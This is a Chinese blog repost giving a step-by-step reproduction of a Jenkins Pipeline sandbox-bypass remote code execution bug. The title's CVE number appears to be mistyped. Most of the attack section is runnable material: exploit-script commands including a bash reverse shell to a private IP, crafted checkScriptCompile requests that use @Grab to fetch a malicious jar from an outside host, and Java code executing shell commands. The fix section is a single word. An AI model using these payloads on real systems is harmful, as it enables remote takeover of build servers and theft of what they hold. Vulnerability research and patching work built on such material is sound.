[漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

这篇具有很好参考价值的文章主要介绍了[漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、简介

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。

Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试报告, 发布报告等。Pipeline使开发者可以方便的去撰写一些构建脚本以完成自动化的编译、测试、发布,其中文名称是流水线(工作流),帮助开发者精心地组织一个可以长期运行在多个节点上的任务。

为了检查使用者撰写的Pipeline Script有没有语法上的错误,Jenkins提供了一个界面给使用者检查自己的Pipeline脚本。通过将抽象语法树(AST,Abstract Syntax Tree)转换注释(如@Grab)应用于源代码单元,可以在脚本编译阶段绕过脚本安全沙箱保护,导致具有Overall/Read权限或能控制SCM中jenkinsfile或沙盒Pipeline共享库内容的用户绕过沙盒保护,并在Jenkins服务器上执行任意代码。

利用转换注释@Grab、@GrabResolover可以写入恶意的Jar文件到jenkins服务器,由于Pipeline是基于Groovy语法的,因此Jenkins使用了GroovyClassLoader.parseClass()来检查Pipeline脚本语法的正确性,最终导致在编译阶段执行了写入到Jenkins服务器的恶意Jar文件。

二、影响版本

Pipeline: Declarative 插件 <= 1.3.4
Pipeline: Groovy 插 件 <= 2.61
Script Security 插 件 <= 1.49

三、复现

工具
vulfocus没有提供账号密码,所以以下是在看别人复现的思路

登录之后,创建一个job

执行下面的语句利用

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反弹shell:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"

不使用工具
验证是否存在漏洞,利用dnslog,看目标是否请求了该地址
payload

@GrabConfig(disableChecksums=true)

@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')

@Grab(group='test.sec', module='test', version='1')

import Payload;

请求包

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1

Host: host

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

查看dnslog记录:
jenkins命令执行漏洞,漏洞复现,jenkins,运维
利用该漏洞命令执行
1.创建一个java文件,保存为jkrce.java代码如下:

public class jkrce {

  public jkrce() {

    try {

     String payload = "touch /tmp/test11111";

     String[] cmds = { "/bin/bash", "-c", payload };

     java.lang.Runtime.getRuntime().exec(cmds);

    } catch (Exception e) {

} 

}

}

2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:

javac jkrce.java 

mkdir -p META-INF/services/   

echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners 

jar cvf jenkins-1.jar ./      

3.在公网web服务器目录里,创建路径/tools/jenkins/1/ 这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下

mkdir /tools/jenkins/1/

4.发送请求,数据包如下,xxx.xxx.xxx.xxx替换成公网地址即可:

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1

Host: host

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

jenkins命令执行漏洞,漏洞复现,jenkins,运维

四、修复

更新文章来源地址https://www.toymoban.com/news/detail-570333.html

到了这里,关于[漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令,紧随账号

    2024年02月16日
    浏览(54)
  • PhpMyAdmin远程执行代码漏洞复现 (CVE-2016-5734)

    0x01 漏洞介绍 phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 中存在安全漏洞,该漏洞源于程序没有正确选择分隔符来避免使用 preg_replace e 修饰符。 可借助特

    2024年02月11日
    浏览(41)
  • 复现CVE-2022-10270(向日葵远程代码执行漏洞)

    目录 引言 漏洞描述 影响版本: 原理: 环境搭建 手动复现 脚本复现 修复建议         本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!!         向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持

    2024年02月07日
    浏览(51)
  • drupal远程代码执行 (CVE-2018-7600)漏洞学习与复现

    drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在 Drupal 6.x,7.x,8.x 系列的版本中,均存在远程代码执行漏洞。该漏洞产生的原因在于Drupal对表单渲染时未进行严格的安全过滤,导致,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码。 首

    2024年02月02日
    浏览(43)
  • 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint等。 0x02 漏洞简介 该文档使用 Word 远程模板功能从远程网络服务器检索 HTML 文件,该服务器使用 ms-msdt MSProtocol URI 方案加载代码并执行 PowerShell,禁用宏,仍能通过

    2024年02月05日
    浏览(97)
  • CVE-2018-0886-Microsoft Windows CredSSP 远程执行代码漏洞复现

    cve-2018-0886,网络

    2024年02月12日
    浏览(34)
  • CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0x08 修复建议:         仅供学习参考使用,请勿用作违法用途,否则后果自负。         Microsoft Windows HTTP 协议栈(HTTP.

    2024年02月03日
    浏览(57)
  • Windows支持诊断工具(MSDT)远程代码执行漏洞:CVE-2022-30190学习及复现

    Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve编号为CVE-2022-30190,其能够在非管理员权限、禁用宏且在windows defender开启的情况下绕过防护,达到上线的效果。 当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,攻击者通过制作恶意的

    2024年02月08日
    浏览(56)
  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(44)
  • CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

    在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。 意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的

    2024年02月04日
    浏览(70)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包